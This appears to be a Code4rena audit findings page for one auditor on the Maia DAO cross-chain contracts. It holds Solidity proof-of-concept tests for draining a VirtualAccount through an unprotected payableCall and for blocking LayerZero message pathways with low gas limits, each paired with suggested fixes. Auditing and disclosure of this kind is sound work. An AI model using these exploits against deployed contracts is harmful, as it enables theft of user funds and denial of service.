Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 37/175
Findings: 4
Award: $145.41
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85
Virtual Account is used to store assets on the user's behalf. Since payableCall
function allows arbitrary function execution and the requiresApprovedCaller
modifier was missed it's possible to steal all the tokens from the VirtualAccount.
function testDrainVirtualAccount() public { VirtualAccount virtualAccount = new VirtualAccount(msg.sender, address(rootPort)); avaxMockAssetToken.mint(address(virtualAccount), 1 ether); address attacker = address(0x123); hevm.startPrank(attacker); assertEq(avaxMockAssetToken.balanceOf(attacker), 0); PayableCall[] memory payableCalls = new PayableCall[](1); payableCalls[0] = PayableCall( address(avaxMockAssetToken), abi.encodeWithSignature("transfer(address,uint256)", attacker, 1 ether), 0 ); virtualAccount.payableCall(payableCalls); assertEq(avaxMockAssetToken.balanceOf(attacker), 1 ether); }
Add requiresApprovedCaller
modifier to the payableCall
function.
function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) { uint256 valAccumulator; uint256 length = calls.length; returnData = new bytes[](length); PayableCall calldata _call; for (uint256 i = 0; i < length;) { _call = calls[i]; uint256 val = _call.value; // Humanity will be a Type V Kardashev Civilization before this overflows - andreas // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256 unchecked { valAccumulator += val; } bool success; if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData); if (!success) revert CallFailed(); unchecked { ++i; } } // Finally, make sure the msg.value = SUM(call[0...i].value) if (msg.value != valAccumulator) revert CallFailed(); }
Token-Transfer
#0 - c4-pre-sort
2023-10-08T14:04:37Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:37:46Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:29:23Z
alcueca marked the issue as satisfactory
🌟 Selected for report: nobody2018
Also found by: 0xStalin, 0xnev, 3docSec, Arz, Koolex, Kow, OMEN, gumgumzum, minhtrng, perseverancesuccess, rvierdiiev, windhustler
93.8182 USDC - $93.82
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L915-L922
Some of the flows inside the protocol require airdropping gas tokens to the remote chain to execute a callback message. In case the callback message fails to execute the airdropped amount is left sitting in the BranchBridge
/RootBridge
contracts.
There is a high likelihood of this occurring quite often because it takes (1-5 min. or more) for a Relayer to deliver a message to the remote chain during which the airdropped amount might not be sufficient to execute the callback message due to price fluctuations, or something else can revert.
In these cases the user will lose all the airdropped amount.
One of the examples of needing a callback message is the retrySettlement
through BranchBridgeAgent
. In this flow the messages travels from Branch -> Root -> Branch.
Let me illustrate it starting from a branch chain.
Polygon
The transaction starts from retrySettlement
function inside the BranchBridgeAgent whereby the airdropped amount covers Root -> Branch message.
The address to airdrop the tokens is specified in adapterParams V2 as the receiver, and is the RootBridgeAgent address.
The message is sent towards the RootChain (Arbitrum).
Arbitrum
RootBridgeAgent:lzReceive(...)
.dstChainId != localChainId
another message is sent to specified branch.RootBridge
contract.One can argue that the user should always double or triple the airdropped amount to cover the price fluctuations, but this is also not viable since he would then be losing this whole airdropped amount in case a revert happens somewhere else.
The most elegant solution would be to transfer any remaining airdropped amount back to the sender after the lzReceiveNonBlocking
has finished executing.
/// @inheritdoc ILayerZeroReceiver function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public { (bool success,) = address(this).excessivelySafeCall( gasleft(), 150, abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcChainId, _srcAddress, _payload) ); address user = queryRefundeeOrUser(_payload); user.call{value: address(this).balance}(""); } function queryRefundeeOrUser(bytes calldata _payload) public view returns (address) { return abi.decode(_payload[START:FINISH], address); // START and FINISH are the offsets of the user address inside the payload }
Anywhere in the code whereby there is a callback message covered with the airdropped amount there is a chance of this happening.
Other
#0 - c4-pre-sort
2023-10-08T06:24:15Z
0xA5DF marked the issue as duplicate of #887
#1 - c4-pre-sort
2023-10-08T14:49:31Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-25T09:42:33Z
alcueca marked the issue as satisfactory
#3 - c4-judge
2023-10-25T09:42:45Z
alcueca marked the issue as selected for report
#4 - c4-judge
2023-10-25T09:43:46Z
alcueca marked issue #258 as primary and marked this issue as a duplicate of 258
#5 - c4-judge
2023-10-25T09:43:47Z
alcueca marked the issue as not selected for report
#6 - c4-judge
2023-11-03T10:53:00Z
alcueca marked the issue as duplicate of #518
🌟 Selected for report: LokiThe5th
Also found by: 0xadrii, 33BYTEZZZ, 3docSec, Bauchibred, DevABDee, Koolex, Kow, Limbooo, QiuhaoLi, Tendency, ast3ros, ihtishamsudo, kodyvim, lsaudit, neumo, peakbolt, windhustler
40.0102 USDC - $40.01
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L424-L428 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L424-L428
This is an issue that results in the blocking of the pathways on all the chains(root and branches) and disabling any cross-chain communication. The consequence of this is that anyone can with a low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable and locking user funds.
While sending messages through LayerZero, the sender can specify how much gas he is willing to give to the Relayer to deliver the payload to the destination chain. This configuration is specified in relayer adapter params.
All the invocations of ILayerZeroEndpoint(lzEndpointAddress).send(...)
function inside Maia DAO contracts naively assume that it is not possible to specify some small amount of gas, but in reality you can pass whatever you want.
As a showcase, I have set up two simple contracts on Avalanche and Polygon and a transaction that sends only 5k gas which reverts on the destination chain resulting in StoredPayload
and blocking of the message pathway between the two lzApps.
The transaction below proves that if no minimum gas is enforced on the sending side, the Relayer will deliver the message to the destination with any gas specified.
Transaction Hashes for the example mentioned above:
The attacker calls callOutAndBridge
function on any of the branches(chains).
Since this function allows passing on arbitrary length bytes calldata _params
he inflates the payload to be very large, e.g. 9k bytes.
Besides that, he specifies the gasLimit
inside the GasParams
to be 5k gas. This transaction is successfully executed on the branch chain and is delivered to the rootChain.
On the receiving chain the transaction is first validated through the LayerZero contracts before it reaches the lzReceive
function. The Relayer will give exactly the gas which was specified through the GasParams
.
The line where it happens inside the LayerZero contract is here, and {gas: _gasLimit}
is the gas the sender has paid for.
Due to an inflated payload and a small amount of gas the transaction reverts somewhere inside the ExcessivelySafeCall
library function execution due to "out of gas" error.
So in this case the (bool success)
is totally bypassed and doesn't act as a try/catch
.
The result of this is that the message pathway is blocked, resulting in StoredPayload
.
You can place the POC inside the RootTest.t.sol
and run it with forge test --mt testBlockingPathwayWithMinimumGas -vvvv --watch
to see the stack trace and the revert due to "out of gas error".
function testBlockingLzPathwayWithMinimumGas() public { coreBridgeAgent.lzReceive{gas: 5_000}( avaxChainId, abi.encodePacked(address(this)), 10, getDummyPayload(9_000) ); } function getDummyPayload(uint256 payloadSize) internal pure returns (bytes memory) { bytes memory payload = new bytes(payloadSize); for (uint256 i = 0; i < payloadSize; i++) { payload[i] = bytes1(uint8(65 + i)); } return payload; }
In all the occurrences I listed above you need to ensure that the gasLimit
passed is above some minimum threshold.
This threshold is determined based on the amount of gas to copy the calldata into the ExcessivelySafeCall
library.
I've determined this minimum to be ~7k gas for very big payloads.
Anywhere in the code where there is a call to ILayerZeroEndpoint(lzEndpointAddress).send(...)
function and the adapterParams
are not validated and sanitized.
function _performCall(address payable _refundee, bytes memory _payload, GasParams calldata _gParams) internal virtual { require(_gParams.gasLimit >= gasLimitThreshold, "gasLimit too low"); //Sends message to LayerZero messaging layer ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}( rootChainId, rootBridgeAgentPath, _payload, payable(_refundee), address(0), abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, rootBridgeAgentAddress) ); }
DoS
#0 - c4-pre-sort
2023-10-11T07:23:57Z
0xA5DF marked the issue as duplicate of #785
#1 - c4-pre-sort
2023-10-11T07:24:03Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-22T04:55:09Z
alcueca changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-10-22T05:13:14Z
alcueca marked the issue as satisfactory
🌟 Selected for report: LokiThe5th
Also found by: 0xadrii, 33BYTEZZZ, 3docSec, Bauchibred, DevABDee, Koolex, Kow, Limbooo, QiuhaoLi, Tendency, ast3ros, ihtishamsudo, kodyvim, lsaudit, neumo, peakbolt, windhustler
40.0102 USDC - $40.01
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L430
This is an issue that results in pathway blocking on the RootChain and disabling any cross-chain communication between Branches and RootChain. The consequence of this is that anyone can with a low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable and locking user funds.
The root core of this issue is that lzReceive
has additional logic outside the try/catch
block.
The objective of the attacker is to cause an "out of gas" error inside the lzReceiveNonBlocking
.
As lzReceiveNonBlocking
is an external call, according to EIP-150
63/64 amount of gas is forwarded to this external call and the rest is left for the rest of the execution.
The 1/64 gas leftover needs to be less than the gas needed for executing the logic inside the if(!success) block
.
There are several ways of achieving "out of gas" error inside the lzReceiveNonBlocking
:
RootBridgeAgent
deployed by Maia DAO but with a smaller amount of gas.
As a consequence, the transaction will revert somewhere during the lzReceiveNonBlocking
function execution.I've set up a POC that demonstrates the second scenario. You can place the POC inside the RootTest.t.sol
and run it with forge test --mt testBlockingPathwayOnRootChain -vvvv --watch
to see the stack trace and the revert due to "out of gas error".
callOutAndBridgeMultiple
function.lzReceive
function is invoked with the specified gasLimit.lzReceiveNonBlocking
and the rest is left for the rest of the execution.if(!success) block
and it reverts again.lzEndpoint catch block
resulting in StoredPayload
and blocking the pathway.function testBlockingPathwayOnRootChain() public { // Sending side address[] memory _hTokens = new address[](1); address[] memory _tokens = new address[](1); uint256[] memory _amounts = new uint256[](1); uint256[] memory _deposits = new uint256[](1); _hTokens[0] = address(avaxMockAssethToken); _tokens[0] = address(avaxMockAssetToken); _amounts[0] = 1; _deposits[0] = 1; uint256 gasLimit = 25_000; DepositMultipleInput memory dParams = DepositMultipleInput(_hTokens, _tokens, _amounts, _deposits); address attacker = address(0x123); hevm.startPrank(attacker); hevm.deal(address(this), 1 ether); avaxMockAssetToken.mint(attacker, 1 ether); avaxMockAssetToken.approve(address(avaxPort), 1 ether); avaxCoreBridgeAgent.callOutAndBridgeMultiple( payable(address(this)), "", dParams, GasParams(gasLimit, 0) ); // Receiving side bytes memory payload = abi.encodePacked( bytes1(0x03), uint8(_hTokens.length), uint32(50), _hTokens, _tokens, _amounts, _deposits, "" ); hevm.startPrank(lzEndpointAddress); coreBridgeAgent.lzReceive{gas: gasLimit}( avaxChainId, abi.encodePacked(address(coreBridgeAgent), address(avaxCoreBridgeAgent)), 10, payload ); }
You should estimate the maximum amount of gas needed to execute the logic inside the [if(!success) block
].
The remaining gas after the first external call should always be above that value. Also, this assumes that on the sending side this minimum gas is higher or equal to GAS_ALLOCATION
.
uint256 constant GAS_ALLOCATION = 2_000; function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public { uint256 allocatedGas = gasleft() > GAS_ALLOCATION ? gasleft() - GAS_ALLOCATION : 0; (bool success,) = address(this).excessivelySafeCall( allocatedGas, 150, abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcChainId, _srcAddress, _payload) ); if (!success) { if (msg.sender == getBranchBridgeAgent[localChainId]) revert ExecutionFailure(); } }
DoS
#0 - c4-pre-sort
2023-10-11T07:24:50Z
0xA5DF marked the issue as duplicate of #785
#1 - c4-pre-sort
2023-10-11T07:25:17Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-22T04:55:09Z
alcueca changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-10-22T05:12:45Z
alcueca marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
11.4657 USDC - $11.47
If we look at the addLocalToken function, it always deploys a new hToken contract through the hTokenFactory. This holds true even if hToken was already added for the underlying address.
Consider adding a call to the RootChain
to check if hToken
for a specific underlyingAddress
was already added.
#0 - c4-pre-sort
2023-10-15T12:19:26Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-judge
2023-10-20T13:40:38Z
alcueca marked the issue as grade-b